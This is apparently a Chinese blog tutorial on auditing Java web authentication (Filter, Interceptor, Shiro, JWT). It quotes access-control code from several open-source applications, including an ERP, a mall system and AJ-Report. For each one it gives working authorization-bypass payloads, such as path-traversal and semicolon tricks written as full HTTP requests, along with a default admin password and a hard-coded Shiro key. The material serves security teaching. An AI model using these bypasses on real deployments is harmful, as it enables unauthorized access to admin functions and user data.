Java代码审计&鉴权漏洞&Interceptor&Filter&Shiro&JWT_java鉴权-CSDN博客
Java开发中目前主流鉴权技术
Interceptor是一种拦截器,也称之为拦截器链(Interceptor Chain),主要用于拦截请求、响应或处理过程中的某些事件,比如权限认证、日志记录、性能测试等。在 Java 中,Interceptor可以用来扩展框架,增加或修改某个方法的行为,或者对应用流程做些前置处理、后置处理、环绕处理等。
Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。
Shiro/Spring Security/CAS等鉴权框架是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
JWT(JSON Web Token),将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。这使得JWT成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。
使用Spring Cloud Gateway API网关
如何审计此类身份验证未授权访问漏洞?
项目采用哪种技术来做身份验证,从配置文件,依赖文件和关键字进行搜索
1.传统代码验证
维熵租车系统数据库
下载目标源码,部署数据库服务,使用Tomcat启动,注意Tomcat版本不能太高,最好在10以下
1
2
3
|
http://localhost:8080/opencarrun/
http://localhost:8080/opencarrun/admin/login
(默认账号:adimin 默认密码:zft3285497)
|
2.使用Shiro框架验证
https://github.com/TyCoding/tumo
加载项目,查看项目架构,查看引入的依赖,发现使用了Shiro框架,查看Shiro的配置文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# Shiro配置文件
即用户登录后,如果 1 小时内没有操作,会话自动失效,需要重新登录。
tumo.shiro.session_timeout=3600 //session会话超时
tumo.shiro.cookie_timeout=86400 //Cookie有效期
//这些 URL 不需要登录 即可访问,通常用于 登录页、静态资源、公共页面 等。
tumo.shiro.anon_url=\ //匿名访问URL
/login,/logout,/register,\
/,/about,/p/**,/links,/comment/**,/link/list,/article/list,\
/css/**,/js/**,/img/**
tumo.shiro.login_url=/login //登录登场出URL
tumo.shiro.success_url=/system
tumo.shiro.logout_url=/logout
//设置 加密密钥,用于 密码加密、Cookie 加密等。
tumo.shiro.cipher_key=tycoding
/** 匹配任意子路径(如 /p/** 匹配 /p/1、/p/abc 等)。
|
除了会写在配置文件中,还会写在配置类中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
@Bean(name={"shiroFilter"})
ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager);
bean.setLoginUrl("/login");
bean.setUnauthorizedUrl("/unauth");
LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
map.put("/doLogin", "anon");
map.put("/json", "anon");
map.put("/index", "anon");
map.put("/init", "anon");
map.put("/getKey", "anon");
map.put("/setKey", "anon");
map.put("/ser", "anon");
map.put("/**", "user");
bean.setFilterChainDefinitionMap(map);
return bean;
}
当用户访问 /doLogin,/json,/index 等列出的路径时,直接允许访问(不需要登录)
当用户访问其他任何路径时,Shiro 会检查用户是否已登录
如果未登录,重定向到 /login
如果已登录但无权限(如果有进一步权限配置),重定向到 /unauth
|

案例1.tumo未授权任意评论删除
查看源码的配置信息,发现使用了Shiro框架

查看Shiro框架的配置信息
1
2
3
4
5
6
7
8
9
10
11
|
tumo.shiro.session_timeout=3600
tumo.shiro.cookie_timeout=86400
////这些 URL 不需要登录 即可访问,通常用于 登录页、静态资源、公共页面 等。
tumo.shiro.anon_url=\
/login,/logout,/register,\
/,/about,/p/**,/links,/comment/**,/link/list,/article/list,\
/css/**,/js/**,/img/**
tumo.shiro.login_url=/login
tumo.shiro.success_url=/system
tumo.shiro.logout_url=/logout
tumo.shiro.cipher_key=tycoding
|
找到comment路由,删除评论无需登录即可删除,存在未授权访问

3.Filter过滤器验证
3.1.华夏ERP_V2.1未授权访问漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
@WebInitParam(name = "filterPath",
value = "/user/login#/user/registerUser")})
public class LogCostFilter implements Filter {
private static final String FILTER_PATH = "filterPath";
private static final String IGNORED_PATH = "ignoredUrl";
private static final List<String> ignoredList = new ArrayList<>();
private String[] allowUrls;
private String[] ignoredUrls;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
String filterPath = filterConfig.getInitParameter(FILTER_PATH);
if (!StringUtils.isEmpty(filterPath)) {
allowUrls = filterPath.contains("#") ? filterPath.split("#") : new String[]{filterPath};
}
String ignoredPath = filterConfig.getInitParameter(IGNORED_PATH);
if (!StringUtils.isEmpty(ignoredPath)) {
ignoredUrls = ignoredPath.contains("#") ? ignoredPath.split("#") : new String[]{ignoredPath};
for (String ignoredUrl : ignoredUrls) {
ignoredList.add(ignoredUrl);
}
}
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String requestUrl = servletRequest.getRequestURI();
//具体,比如:处理若用户未登录,则跳转到登录页
//检查用户是否已登录(通过 HttpSession 中的 user 属性)。
Object userInfo = servletRequest.getSession().getAttribute("user");
if(userInfo!=null) { //如果已登录,不阻止
chain.doFilter(request, response);
return;
}
//允许特定 URL 直接访问(如登录页 /login.html 和注册页 /register.html)。
if (requestUrl != null && (requestUrl.contains("/login.html") || requestUrl.contains("/register.html"))) {
chain.doFilter(request, response);
return;
}
//允许忽略的 URL(通过 verify(ignoredList, requestUrl) 检查)。
//以这些后缀开头的".css#.js#.jpg#.png#.gif#.ico"
if (verify(ignoredList, requestUrl)) {
chain.doFilter(servletRequest, response);
return;
}
if (null != allowUrls && allowUrls.length > 0) {
for (String url : allowUrls) {
if (requestUrl.startsWith(url)) {
chain.doFilter(request, response);
return;
}
}
}
servletResponse.sendRedirect("/login.html");
}
private static String regexPrefix = "^.*";
private static String regexSuffix = ".*$";
private static boolean verify(List<String> ignoredList, String url) {
for (String regex : ignoredList) {
Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
Matcher matcher = pattern.matcher(url);
if (matcher.matches()) {
return true;
}
}
return false;
}
}
|
1
2
3
4
5
6
7
8
9
10
|
GET /pages/materials/retail_back_list.html HTTP/1.1
Host: 192.168.165.252:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=CD52CD7428A42875A7C0E65F6184357A; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1748439476; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1748439476; HMACCOUNT=8F61B5143A53B06F
Upgrade-Insecure-Requests: 1
Priority: u=0, i
|
正常访问retail_back_list.html直接按照过滤器逻辑跳转到302登录页面

但是刚刚可以看到过滤器存在绕过方式,就是当访问文件后缀为.css/.js/.jpg/.png/.gif/.ico开头时,过滤器会不进行校验,所以可以构造路径进行绕过
1
2
3
4
|
http://192.168.165.252:8080/a.css/../pages/materials/retail_back_list.html
//这个匹配规则是只要匹配到了后缀名关键字则直接绕过
http://192.168.165.252:8080/a.jpggg/../pages/materials/retail_back_list.html
|

3.2.Tmall商城系统鉴权漏洞
pom文件没有Shiro/Spring Security/JWT等依赖,那么网站鉴权应该就可能是过滤器进行验证
从filter代码中也得到了验证,管理员权限使用Filter代码进行校验

看核心doFilter中的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
//如果是(登录界面,登录态失效界面),直接放行
if(servletRequest.getRequestURI().contains("/admin/login") ||
servletRequest.getRequestURI().contains("/admin/account")
){
chain.doFilter(request, response);
} else {
logger.info("检查管理员权限");
Object o = servletRequest.getSession().getAttribute("adminId");
if(o == null){
logger.info("无管理权限,返回管理员登陆页");
request.getRequestDispatcher("/admin/login").forward(request, response);
} else {
logger.info("权限验证成功,管理员ID:{}",o);
chain.doFilter(request, response);
}
}
}
|
doFilter方法:
**这是过滤器的核心方法,处理每个请求: **
- 首先将
ServletRequest 转换为 HttpServletRequest,以便访问 HTTP 特定的功能。
- 检查请求的 URI:
- 如果请求的是
/admin/login(登录界面)或 /admin/account(登录态失效界面),直接放行(调用 chain.doFilter),允许访问。
- 对于其他
/admin/ 下的请求:
- 记录日志 “检查管理员权限”。
- 从 session 中获取
adminId 属性(这是存储管理员 ID 的地方)。
- 如果
adminId 为 null:
- 记录日志 “无管理权限,返回管理员登陆页”。
- 将请求转发到
/admin/login 页面,要求用户登录。
- 如果
adminId 不为 null:
- 记录日志 “权限验证成功,管理员ID:{}",并打印管理员 ID。
- 调用
chain.doFilter,允许请求继续处理。
从这个doFilter的代码逻辑上看好像不存在问题,但是这个验证使用的是contains方法,那么Java中的contains方法存在什么问题呢
contains是一个简单的子字符串匹配方法,但它有以下潜在问题:
1
2
3
4
|
http://192.168.0.105:8080/tmall/admin/user/1 //这个是后台获取用户信息路由
由于使用contains进行路径验证
http://192.168.0.105:8080/tmall/admin/login/../user/1 未授权获取用户信息
|


3.3.华夏ERP系统鉴权漏洞
https://mp.weixin.qq.com/s?__biz=MzkwNTQxNDc1MQ==&mid=2247485207&idx=1&sn=317cd9288fe62b72df845ee548a773f7&chksm=c1cba804b2c7fdcd35c051ef6e889c5861dd73629e68deb22cf1a7c713b05f647414fc3b31c9#rd
查看pom.xml依赖文件,不存在shiro框架,Spring Security框架,没有使用JWT,应该就只能使用Filter进行权限校验
查看过滤器中的doFilter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String requestUrl = servletRequest.getRequestURI();
//具体,比如:处理若用户未登录,则跳转到登录页
Object userInfo = servletRequest.getSession().getAttribute("user");
if(userInfo!=null) { //如果已登录,不阻止
chain.doFilter(request, response);
return;
}
if (requestUrl != null && (requestUrl.contains("/login.html") || requestUrl.contains("/register.html"))) {
chain.doFilter(request, response);
return;
}
if (verify(ignoredList, requestUrl)) {
chain.doFilter(servletRequest, response);
return;
}
if (null != allowUrls && allowUrls.length > 0) {
for (String url : allowUrls) {
if (requestUrl.startsWith(url)) {
chain.doFilter(request, response);
return;
}
}
}
servletResponse.sendRedirect("/login.html");
}
|
Filter鉴权代码核心逻辑
- 登录状态检查
- 若用户已登录(
session 中存在 user 属性),则直接放行请求12。
- **若用户未登录,则进一步判断请求的 URL 是否属于以下允许范围: **
- 登录/注册页面:
/login.html 或 /register.html,允许访问以进行身份认证5。
- 静态资源:通过
ignoredUrl 参数配置(如 .css, .js, 图片等),避免对静态文件进行权限拦截5。
- 特定允许路径:通过
filterPath 参数配置(如 /user/login, /user/registerUser),可能用于开放某些接口或页面的访问权限5。
- 未授权请求处理
- 若请求不满足上述条件,则重定向至
/login.html,强制用户登录5。
华夏ERP的鉴权和Tmall商城系统鉴权一样,都是采用Filter进行鉴权,并且都使用了存在问题的函数contains
第一处:如果请求url中包含/login.html或者register.html,那么就直接放行
1
2
3
4
5
6
7
8
9
|
GET /login.html/../user/getUserList?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D¤tPage=1&pageSize=15 HTTP/1.1
Host: 192.168.165.252:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.165.252:8082/pages/manage/user.html
|

除了这个contains代码片段存在问题,Filter类上的注解也存在安全问题
1
2
3
4
5
6
7
8
9
10
11
12
|
@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
@WebInitParam(name = "filterPath",
value = "/user/login#/user/registerUser")})
public class LogCostFilter implements Filter {
private static final String FILTER_PATH = "filterPath";
private static final String IGNORED_PATH = "ignoredUrl";
private static final List<String> ignoredList = new ArrayList<>();
private String[] allowUrls;
private String[] ignoredUrls;
|
第二处:ignoredUrl表示不走过滤器的url,值为当请求url中存在后缀名为.css#.js#.jpg#.png#.gif#.ico这些文件后缀,那么直接放行


1
2
3
|
http://192.168.165.252:8082/1.jpg/../user/getUserList?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D¤tPage=1&pageSize=15
http://192.168.165.252:8082/user/getUserList;.css?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D¤tPage=1&pageSize=15
|
使用;.css或者/1.jpg/../进行绕过

第三处:filterPath**特定允许路径:通过 **filterPath 参数配置(如 /user/login, /user/registerUser),可能用于开放某些接口或页面的访问权限。
1
2
3
4
5
6
7
8
9
|
GET /user/login/../getUserList?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D¤tPage=1&pageSize=15 HTTP/1.1
Host: 192.168.165.252:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.165.252:8082/pages/manage/user.html
|

3.4.AJ-Report鉴权漏洞(CNVD-2024-15077)
查看pom.xml文件发现没有使用鉴权框架,也没有使用JWT,从代码中可以看到使用了Filter过滤器做鉴权

从代码中可以看到swagger相关的直接放行,并且使用了contains这个函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
|
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
String uri = request.getRequestURI();
// TODO 暂时先不校验 直接放行
/*if (true) {
filterChain.doFilter(request, response);
return;
}*/
//OPTIONS直接放行
if ("OPTIONS".equalsIgnoreCase(request.getMethod())) {
filterChain.doFilter(request, response);
return;
}
// swagger相关的直接放行
if (uri.contains("swagger-ui") || uri.contains("swagger-resources")) {
filterChain.doFilter(request, response);
return;
}
if (SLASH.equals(uri) || SLASH.concat(BusinessConstant.SLASH).equals(uri)) {
if (BusinessConstant.SLASH.equals(uri)) {
response.sendRedirect("/index.html");
return;
}
response.sendRedirect(SLASH + "/index.html");
return;
}
// 不需要token验证和权限验证的url,直接放行
boolean skipAuthenticate = skipAuthenticatePattern.matcher(uri).matches();
if (skipAuthenticate) {
filterChain.doFilter(request, response);
return;
}
//获取token
String token = request.getHeader("Authorization");
//针对大屏分享,优先处理
String shareToken = request.getHeader("Share-Token");
if (StringUtils.isBlank(token) && StringUtils.isBlank(shareToken)) {
error(response);
return;
}
// 判断token是否过期
String loginName;
try {
loginName = jwtBean.getUsername(token);
} catch (Exception e) {
loginName = "";
}
String tokenKey = String.format(BusinessConstant.GAEA_SECURITY_LOGIN_TOKEN, loginName);
String userKey = String.format(BusinessConstant.GAEA_SECURITY_LOGIN_USER, loginName);
if (!cacheHelper.exist(tokenKey)) {
//代表token过期
if (StringUtils.isNotBlank(shareToken)) {
//需要处理
// /reportDashboard/getData
// /reportDashboard/{reportCode}
// /reportExcel/preview
List<String> reportCodeList = JwtUtil.getReportCodeList(shareToken);
if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview") && reportCodeList.stream().noneMatch(uri::contains)) {
ResponseBean responseBean = ResponseBean.builder().code("50014")
.message("分享链接已过期").build();
response.getWriter().print(JSONObject.toJSONString(responseBean));
return;
}
filterChain.doFilter(request, response);
return;
}
error(response);
return;
}
String gaeaUserJsonStr = cacheHelper.stringGet(userKey);
// 判断用户是否有该url的权限
if (!BusinessConstant.USER_ADMIN.equals(loginName)) {
AtomicBoolean authorizeFlag = authorize(request, gaeaUserJsonStr);
if (!authorizeFlag.get()) {
authError(response);//无权限
return;
}
}
// 延长有效期
cacheHelper.stringSetExpire(tokenKey, token, 3600);
cacheHelper.stringSetExpire(userKey, gaeaUserJsonStr, 3600);
//执行
filterChain.doFilter(request, response);
}
|
那么只需要在url中构造处;swagger-ui即可进行绕过
1
2
3
4
5
6
7
8
|
GET /accessUser/pageList;swagger-ui?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: 192.168.165.252:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.165.252:9095/index.html
|

4.JWT权限校验问题
JWT产生的问题有以下几种
- 1.生成JWT时使用空加密
- 2.服务端未校验签名
- 3.密钥默认未被修改
- 4.密钥过于简单可被爆破
4.1.Fastcms-JWT密钥泄露
先查看pom.xml文件,发现网站使用JWT

可以看到登录成功后,发现返回吧返回JWT令牌

既然使用了JWT技术,那么最重要的就是查看密钥是否硬编码在代码中,查看配置文件

5.Interceptor鉴权审计
JAVA 鉴权审计分析
概念:是一种动态拦截方法调用的机制,类似于过滤器。Spring框架中提供的,用来动态拦截控制器方法的执行。
作用:拦截请求,在指定的方法调用前店,根据业务需要执行预先设定的代码。
拦截器Interceptor审计和过滤器Filter差不多,拦截器也是需要实现3个方法preHandle,postHandle,afterCompletion
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
package cn.edu.interceptor;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
//ctrl+o重写需要的方法
@Component
public class loginCheckInterceptor implements HandlerInterceptor {
@Override
//目标资源方法运行前运行,返回true,放行
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle...");
return true; //记得返回true,否则什么操作也干不了
}
@Override
//目标资源方法运行后运行,返回true,放行
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("postHandle...");
}
@Override
//视图渲染完毕运行,最后运行
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("afterCompletion...");
}
}
preHandle:在controller方法运行前执行,所已进行校验时需要将方法写在preHandle中
postHandle&afterCompletion:在controller方法运行后执行
|

拦截器执行流程

5.1.NewbeeMall电商系统
先查看pom.xml文件,没有使用专业的权限校验框架,也没有使用Filter过滤器,使用Interceptor拦截器
1
2
3
4
5
6
7
8
9
10
11
12
|
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object o) throws Exception {
String requestServletPath = request.getServletPath();
if (requestServletPath.startsWith("/admin") && null == request.getSession().getAttribute("loginUser")) {
request.getSession().setAttribute("errorMsg", "请登陆");
response.sendRedirect(request.getContextPath() + "/admin/login");
return false;
} else {
request.getSession().removeAttribute("errorMsg");
return true;
}
}
|
- 代码功能:在请求到达 Controller 前执行,验证用户是否已登录。
- 逻辑流程:
- 路径匹配:检查请求路径是否以
/admin 开头(后台管理路径)。
- 会话验证:通过
request.getSession().getAttribute("loginUser") 判断用户是否已登录(loginUser 存储用户会话信息)。
- 未登录处理:
- 设置错误信息到 Session:
request.getSession().setAttribute("errorMsg", "请登陆")。
- 重定向到登录页:
response.sendRedirect(...)。
- 返回
false,中断后续处理流程。
- 已登录处理:清除错误信息(
removeAttribute("errorMsg")),返回 true,放行请求。
漏洞利用
由于 Session 无法伪造,那么可以从 URI 入手,试想若构造一个不以 /admin 开头的 URI,那不就可以放行了吗?于是构造 URI 为 /;/admin 或 //admin(不影响解析)成功绕过 Interceptor 进入后台。
